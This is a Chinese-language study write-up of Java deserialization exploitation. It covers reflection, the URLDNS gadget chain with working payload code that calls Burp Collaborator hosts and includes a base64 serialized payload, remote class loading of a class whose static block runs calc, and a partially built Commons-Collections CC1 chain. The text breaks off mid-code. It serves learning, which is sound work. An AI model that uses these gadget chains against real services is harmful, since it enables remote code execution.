序列化和反序列化

persion.java

import java.io.Serializable;

public class Persion implements Serializable {
private String wan;
private int i;

@Override
public String toString() {
return "Persion{" +
"wan='" + wan + '\'' +
", i=" + i +
'}';
}

public String getWan() {
return wan;
}

public void setWan(String wan) {
this.wan = wan;
}

public int getI() {
return i;
}

public void setI(int i) {
this.i = i;
}

public Persion() {
}

public Persion(String wan, int i) {
this.wan = wan;
this.i = i;
}
}

serialize.java

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class SerializeTest {
public static void serilize(Object obj) throws Exception {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin"));
os.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Persion persion = new Persion("wan",22);
System.out.println(persion);
serilize(persion);
}

}

Unserialize.java

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream osi = new ObjectInputStream(new FileInputStream(Filename));
Object obj = osi.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Persion persion = (Persion) unserialize("ser.bin");
System.out.println(persion);
}


}

image-20220531153546649

image-20220531153603453

重写persion类中的readObject方法

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Persion implements Serializable {
private String wan;
private int i;

@Override
public String toString() {
return "Persion{" +
"wan='" + wan + '\'' +
", i=" + i +
'}';
}

public String getWan() {
return wan;
}

public void setWan(String wan) {
this.wan = wan;
}

public int getI() {
return i;
}

public void setI(int i) {
this.i = i;
}

public Persion() {
}

public Persion(String wan, int i) {
this.wan = wan;
this.i = i;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

重新序列化和反序列化

image-20220531153911421

这里的愿意是Persion类重写了readObject(),由于在执行反序列化的时候,它会自动调用,所以导致了calc的执行

反射

persion.java

public class Persion {
private String name;
public int age;

public void action(){
System.out.println("action test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Persion() {
}

public Persion(String name, int age) {
this.name = name;
this.age = age;
}
}

import java.lang.reflect.Constructor;

public class Refelct {
public static void main(String[] args) throws Exception {
Persion persion = new Persion();
// 下面的意思是获取persion类的class对象,也就是整个persion.java(这样说不太对)
Class<? extends Persion> persionClass = persion.getClass();
// 而反射就是在操作class对象,也就是这里的persionClass

// 既然我们以及获取了整个persion.java,我们当然可以通过他来new对象,这里就和原先new Perison不一样了
// 既然无法直接new,那么肯定给了方法可以调用来new 对象.也就是下面的newInstance
// 但是newInstance其实是无参构造方法,不能传参数,原因就是newInstace其实是需要构造器来驱动的,但是这里我们偷懒没有用构造器,就默认调用无参构造了.
Persion persion1 = persionClass.newInstance();

// 接下来我们可以获取一个有参构造的构造器,接着调用有参构造的构造器来newInstance()
// 由于这里的getConstructor并不是new对象,因此这里传入的当然也不能是对象的参数,那么传什么呢?用来标识的话就需要传入.class,当然这里是根据源代码来解释的了.
Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class);
// 接着不偷懒通过有参构造器来new对象就好了
Persion persion2 = persionConstructor.newInstance("wan", 1);
System.out.println(persion2);

// 现在我们已经获取了对象,那么属性呢?



}
}

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Refelct {
public static void main(String[] args) throws Exception {
Persion persion = new Persion();
Class<? extends Persion> persionClass = persion.getClass();
Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class);
Persion persion1 = persionConstructor.newInstance("wan", 111);

// System.out.println(persion1);
// 现在我们已经获取了对象,那么属性呢?

// 这里可以通过getFileds()来获取属性
Field[] fields = persionClass.getFields();
for (Field field : fields) {
// System.out.println(field);
}
// 输出public int Persion.age
// 可见,这里只输出了一个age,如果你细心的话,就会发现这里的age是public,而name是private的

Field[] declaredFields = persionClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
// System.out.println(declaredField);
}
// 输出private java.lang.String Persion.name
//public int Persion.age
// 这样就可以了
// 现在我们已经获取到了属性,接着该修改属性了

// 当然,如果你能举一反三,下面将会很好理解的
// 获取这个属性(相当于获取构造器)
Field ageField = persionClass.getField("age");
// 这里就是给person1的age进行改值了,也很好理解,获取了属性,但是不知道属性是谁的,所以要加一个person1,后面就是需要改的值了
ageField.set(persion1,2222);
System.out.println(persion1);
// 输出Persion{name='wan', age=2222}

// 发现了吗?这里改private就是用declaredField咯
Field nameFiled = persionClass.getDeclaredField("name");
// 将name设置成可修改的,从private可以更改
nameFiled.setAccessible(true);
nameFiled.set(persion1,"aaa");
System.out.println(persion1);
// 输出Persion{name='aaa', age=2222}

// 接下来就是方法咯
// 举一反三哦
}
}

java反序列化urldns链

我们先分析hashmap看看

image-20220602184518641

首先这里实现了Serializable接口是可以进行序列化的

curl+f12 搜索类中方法readObject,这里也是存在readObject()方法的,也就是说明,hashmap既可以进行序列化,也可以在反序列化的时候自动调用,

image-20220531154536982

可以看到这里调用了hash函数,其中先是循环去除key,接着在hash中传了key

image-20220531154630971

接着跟过去,发现调用了hashCode

image-20220531154655592

到这里就会发现hashCode非常常见,因此我们就可以将hashMap作为入口类

接着我们看一下urldns链不能执行命令,但通常作为验证是否存在反序列化漏洞的一种方式.ysoserial工具,它集合了各种java反序列化的payload.ysoserial.jar下载完成之后我们打开看一下调用链

image-20220531155409262

可见这里首先是通过HashMap.readObject()方法的自动调用作为入口,接着就是上面的HashMap的hash.然后这里就是重点了,也就是这里的URL.hashCode().这里为什么是URL.hashCode呢

image-20220602185245255

这里是调用的key的hashCode()方法,而这里的key我们可以通过hashmap的put方法放入一个URL对象,也就是说,这里的key其实是我们可以控制的.

image-20220602185602079

可见使用了URL的hashCode方法.这里我们回过头来去看一下URL的hashCode()方法

image-20220602185750572

可见实现了Serializeable接口,这里也是说明URL对象也是可以进行序列化的,那你也许会说,为啥不用URL对象的readObject()方法呢

image-20220602185907573

其实是有重写的,不过这里没有办法利用,因为并没有调用到有用的方法,就像我们在刚开始那个Persion重写的readObject()那样

接着我们来看hashCode()方法,还记得吗,在上面其实是调用了URL的hashCode()方法,这里为啥要调URL的hashCode()方法呢?

image-20220531160009796

可见调用了handler的hashCode()方法,这里传入了一个URL对象

image-20220531160050033

这里又调用了getHostAddress方法,跟过去看看,可见这里是会进行dns解析,那么这里就完美了

image-20220531160119344

这里我们就开始写利用函数,我们先去burp生成一个dns连接

image-20220531160423383

copy

image-20220531160437570

dns.java

import java.net.URL;
import java.util.HashMap;

public class dns {
public static void main(String[] args) throws Exception {
URL url = new URL("http://i8rvj4c7vdn2x353vm3eufouslybm0.burpcollaborator.net");
url.hashCode();

}
}

我们这里写的是正常情况下我们怎么触发这个dns请求

image-20220602191053878

image-20220602191117462

可见这里先是进行了hashCode 这个值是否等于-1,注意这里我们是不等的

image-20220602191248907

这里也是去请求了,这里也收到了

image-20220602191315737

接着我们写一下反序列化的调用链

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class dns {
public static void main(String[] args) throws Exception {
// 先得到入口点HashMap对象
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
// 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
URL url = new URL("http://rzu4ad3gmmebocwcmvunlof3juplda.burpcollaborator.net");
// 将准备好的值put进去
objectObjectHashMap.put(url,1);

// serilize(objectObjectHashMap);
unserilize("ser.bin");


}
public static void serilize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}
public static Object unserilize(String Filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object o = objectInputStream.readObject();
return o;
}
}

这里正常来说在序列化的时候是不会接受到dns请求的,但是并不是.执行之后burp就收到了dns请求了

image-20220531160639256

至于为什么呢.我们跟一下put方法来看看

image-20220602201303241

这里put调用了hash()

image-20220602201521906

这里可以看到调用了key的hashCode方法,也就是说调用了URL的hashCode方法,接着步入

image-20220531161319324

这里可以看到如果hashCode不等于-1就返回hashCode

image-20220531161338052

我们先去搞清楚这个hashCode是在什么时候赋值的,或者更改的,从下面可见这里的hashCode在初始化的时候是-1

image-20220531162115427

到这里就发现看到了对hashCode的赋值

image-20220602202605487

也就是说,在put之前我们不能让hashCode是-1,不然hashCode(this)就会执行,就会执行dns请求.而如果不改回来的话呢,hashCode就不等于-1,也就是在反序列化的时候就无法执行.

image-20220531163420438

注意第一个调用的不是URL对象的hashCode哦,我们直接到第三个
image-20220531163616647

可见这里根本就不会执行下面的handler的hashCode方法,也就不会去请求dns了

也就是说,我们要在put之前将hashCode进行更改不等于-1,不进行dns请求.在put之后将hashCode更改回-1,让他在反序列化的时候进行dns请求.(不懂重新敲一遍)

我们改为之后就可以序列化和反序列化了

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class dns {
public static void main(String[] args) throws Exception {
// 先得到入口点HashMap对象
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
// 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
URL url = new URL("http://ni9zwg53yga0f5jhqxa5uqxfn6tyhn.burpcollaborator.net");
// 先利用反射将URL类的hashcode进行更改
// 获取url类的class对象
Class<? extends URL> urlClass = url.getClass();
// 获取hashCode属性
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,111);
// 到这里值已经准备好了

// 将准备好的值put进去
objectObjectHashMap.put(url,1);

// 将hashCode更改回-1
hashCodeField.set(url,-1);

serilize(objectObjectHashMap);
unserilize("ser.bin");


}
public static void serilize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}
public static Object unserilize(String Filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object o = objectInputStream.readObject();
return o;
}

}

image-20220602205209201

改成base64形式

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;

public class urldnsre {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://9akkvj4eq43jdlgj889wfnuo3f98xx.burpcollaborator.net");
Class<? extends URL> urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,10000);
hashMap.put(url,1);
hashCode.set(url,-1);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);



String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAMzlha2t2ajRlcTQzamRsZ2o4ODl3Zm51bzNmOTh4eC5idXJwY29sbGFib3JhdG9yLm5ldHQAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4";
Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(str);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();



}


}

静态代理

ProxyTest.java

包含main方法用于调用

import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args) {
UserImpl user = new UserImpl();
// user.show();
// 静态代理
UserProxy userProxy = new UserProxy(user);
userProxy.show();

// 动态代理
// 要代理的接口 要做的事情 classloader
UserInvocationHandler userInvocationHandler = new UserInvocationHandler(user);
IUser userProx = (IUser)Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
userProx.update();
}
}

UserImple.java

用于实现Iuser接口

public class UserImple implements Iuser{
@Override
public void create() {
System.out.println("调用了create");
}

@Override
public void delete() {
System.out.println("调用了delete");
}

@Override
public void show() {
System.out.println("show");
}
}

IUser.java

Iuser接口

public interface Iuser {
void show();
void create();
void delete();
}

UserProxy.java

作为user的代理

public class UserProxy implements Iuser{
@Override
public void show() {
show();
System.out.println("调用了show");
}

@Override
public void create() {
create();
System.out.println("调用了create");
}

@Override
public void delete() {
delete();
System.out.println("调用了delete");
}
}

类的动态加载

重写Persion.java

import java.io.Serializable;

public class Persion implements Serializable {
public String name;
private int age;


@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Persion() {
}

public Persion(String name, int age) {
this.name = name;
this.age = age;
}

static {
System.out.println("静态代码块");
}

{
System.out.println("构造代码块");
}

public static void action() {
System.out.println("静态action");
}

}

LoadClass.java

public class LoadClassTest {
public static void main(String[] args) {
new Persion("aa",2);
System.out.println("-----");
Persion.action();
}
}

image-20220531202509587

public class LoadClassTest {
public static void main(String[] args) {
// new Persion("aa",2);
// System.out.println("-----");
// Persion.action();
Class clazz = Persion.class;

}
}

可见没进行初始化

image-20220531202550604

public class LoadClassTest {
public static void main(String[] args) throws Exception{
Class.forName("Persion");
}
}

这里初始化了

image-20220603193426641

public class LoadClassTest {
public static void main(String[] args) throws Exception{
// Class.forName("Persion");
// 先创建一个classloader
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Class<?> persion = Class.forName("Persion", false, systemClassLoader);
persion.newInstance();

}
}

image-20220603193922050

Test.java

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

image-20220603195910091

编译一下Test.java 接着删除Test.java防止影响

image-20220531204753938

image-20220531205003232

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
// new Persion("aa",2);
// System.out.println("-----");
// Persion.action();
// Class clazz = Persion.class;
// 获取系统当前内部类
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
// 不进行初始化类
// Class<?> persion = Class.forName("Persion", false, systemClassLoader);
// 创建实例
// persion.newInstance();
// Class<?> persion = systemClassLoader.loadClass("Persion");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")});
Class<?> hello = urlClassLoader.loadClass("Test");
hello.newInstance();


}
}

起一个网页,把Test.class放到网站下面

image-20220531205055927

image-20220531205146977

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClassTest {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
// new Persion("aa",2);
// System.out.println("-----");
// Persion.action();
// Class clazz = Persion.class;
// 获取系统当前内部类
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
// 不进行初始化类
// Class<?> persion = Class.forName("Persion", false, systemClassLoader);
// 创建实例
// persion.newInstance();
// Class<?> persion = systemClassLoader.loadClass("Persion");
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")});
// Class<?> hello = urlClassLoader.loadClass("Test");
// hello.newInstance();



// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
// defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Download\\java\\src\\Test.class"));
// Class clazz = (Class) defineClass.invoke(systemClassLoader, "Test",code,0,code.length);
// clazz.newInstance();



Class c = Unsafe.class;
Field theUnsafe = c.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class c2 = unsafe.defineClass("Test",code,0,code.length,systemClassLoader,null);
c2.newInstance();
}
}

image-20220531211417864

cc1

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………

下载java 8u65

image-20220531212537874

image-20220531214045302

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20220531214020760

找到这个sun

D:\Download\jdk-af660750b2f4\src\share\classes

添加maven项目

image-20220531214739460

解压这个

image-20220531214841824

在把sun考进src里面

image-20220531214404157

添加src

image-20220531215252519

添加依赖

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

CC1Test.java

package org.example;

import java.io.*;

public class CC1Test {
public static void main(String[] args) {

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220531215833812

导入org.apache.commons.collections.Transformer包

image-20220531220015629

如果maven下载不下来源码,可以换一个maven试试

image-20220531220724224

接着我们开始分析cc1

image-20220531220736330

查看实现的方法 ctrl + alt + b

image-20220531221413439

我们去查看InvokeTransform.java

image-20220531221629597

可以见到这里的input.getClass()获取了一个类对象,接着得到了类的一个方法,接着去执行这个input的iArgs方法

正常弹个计算器

package org.example;
import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
public static void main(String[] args) throws Exception {
// 正常弹个计算器
Runtime.getRuntime().exec("calc");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

反射弹计算器

package org.example;
import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
public static void main(String[] args) throws Exception {


// 反射弹计算器
// 先获取一个RUntime对象
Runtime runtime = Runtime.getRuntime();
// 获取runtime的class对象
Class<? extends Runtime> runtimeClass = runtime.getClass();
// 获取runtime的class的exec方法
Method exec = runtimeClass.getMethod("exec", String.class);
// 通过invkoe执行runtime类的exec方法传入参数为calc
exec.invoke(runtime,"calc");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

调用InvokerTransformer()的transform()弹个计算器

先去看构造方法,首先是一个方法的名字,接着是一个类对象数组其中放的是参数类型,接着是args的参数

image-20220603204031556

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
public static void main(String[] args) throws Exception {
// invokeTransform弹个计算器
Runtime runtime = Runtime.getRuntime();
// 第一个exec就是runtimeClass.getMethod("exec",
// 第二个new CLass[]{String.class}就是String.class);
// 第三个 new Object[]{"calc"}就是,"calc");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

接着我们去看看谁调用了transform()

image-20220531222422362

可以看到这里都调用了transform(),这里我们就直接看checkSetValue()了

image-20220531222654836

image-20220603205122198

这里可以看到valueTransformer调用了transform()方法.但是也行你已经发现了这里的transform()方法中还有一个value,我们并不能现在就给他赋值.这里需要先注意一下哦.那么我们就需要去看看这个valueTransformer是在哪里赋值的

image-20220603205247984

这里可以看到这里的TransformedMap是对valueTransformer进行了赋值,但是这里的方法其实是protected的,那么肯定在本类中有调用

image-20220603205457433

也可以看到这里进行了调用操作,这里也可以发现这个decorate是一个静态方法不需要new对象.

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;

public class CC1Test {
public static void main(String[] args) throws Exception {
// invokeTransform弹个计算器
Runtime runtime = Runtime.getRuntime();
// 第一个exec就是runtimeClass.getMethod("exec",
// 第二个new CLass[]{String.class}就是String.class);
// 第三个 new Object[]{"calc"}就是,"calc");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);

//
// 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
TransformedMap.decorate(objectObjectHashMap,null,exec);

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

这里已经赋值完成了,我们就需要去调用这个checkSetValue了,先查找一下

image-20220603210702021

写成这样,接着我们去找哪里调用了checkSetValue()

image-20220531223432387

这里找到了抽象类的AbstractInputCheckedMapDecorator中的setValue()

image-20220531223526357

这里是继承了这个AbstractInputCheckedMapDecorator类,所以在子类TransformedMap调用setValue的时候就会调用AbstractInputCheckedMapDecorator的.

image-20220603211136812

也就是这里,这里我们已经找到了去checkSetValue()的地方,那么我们又要去寻找可以调用setValue的地方.其实这里我们已经找到了就在AnnotationInvocationHandler类中.可以看到这里采用的是循环的方式去调用setValue,因此我们也可以写成这种方式.

image-20220723163453307

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
// invokeTransform弹个计算器
Runtime runtime = Runtime.getRuntime();
// 第一个exec就是runtimeClass.getMethod("exec",
// 第二个new CLass[]{String.class}就是String.class);
// 第三个 new Object[]{"calc"}就是,"calc");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// exec.transform(runtime);

//
// 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 这里我们要将一个值存放到map中去 原因就是下面的decorate仅仅是装饰这个map并不会为map中添加值,所以我们需要手动添加值 才能进入下面的
objectObjectHashMap.put("key","value");
// 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
// 注意这里的runtime其实就是transform(Object input)这里的input
for (Map.Entry entry:decorate.entrySet()){
entry.setValue(runtime);
}
// 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new `FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

这里可以看到首先是在TransformedMap中有个valueTransformer,之后在decorateTransform中new 了一个TransformedMap

image-20220531222907691

现在我们找到了调用setValue的地方还需要注意的是这里的方法就是我们需要的readObject方法,也就是反序列化的起点

image-20220723170756643

接着我们去看看memberValue是怎么赋值的

image-20220603214638496

可以看到这里是一个默认类型的构造方法方法,也就是只能在当前包下才能调用.其中的参数第一个其实是一个注解(@Override这种),第二个是一个map类型,也就是这里需要反射来创建(原因就是这里的构造方法其实是一个默认方法)

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
// invokeTransform弹个计算器
Runtime runtime = Runtime.getRuntime();
// 第一个exec就是runtimeClass.getMethod("exec",
// 第二个new CLass[]{String.class}就是String.class);
// 第三个 new Object[]{"calc"}就是,"calc");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// exec.transform(runtime);

//
// 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("key","value");
// 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
// 注意这里的runtime其实就是transform(Object input)这里的input
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(runtime);
// }
// 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()
// 这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用)
// 这里是先获取一个AnnotationInvocationHandler的类对象
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
// 设置可以访问
aihClassDeclaredConstructor.setAccessible(true);
// 这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map
Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);


}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

到这里我们已经找到了起点和终点,现在我们需要将它串起来,并且可以反序列化.还记得在checkSetValue(value)这里我们传入的value吗.这个关键的Rntime.getRuntime()其实是不能被反序列化的.我们需要通过反射去拿到

image-20220604135728349

这里其实用到了java的单例模式,这里简单来说就是我们可以通过调用getRuntime来构造一个Runtime对象,顺便仔细理解一下

这一行

Runtime.getRuntime().exec("calc");

image-20220604140105691

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
// invokeTransform弹个计算器
// Runtime runtime = Runtime.getRuntime();
// 第一个exec就是runtimeClass.getMethod("exec",
// 第二个new CLass[]{String.class}就是String.class);
// 第三个 new Object[]{"calc"}就是,"calc");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// exec.transform(runtime);

//
// 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("key","value");
// 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
// 注意这里的runtime其实就是transform(Object input)这里的input
// for (Map.Entry entry:decorate.entrySet()){
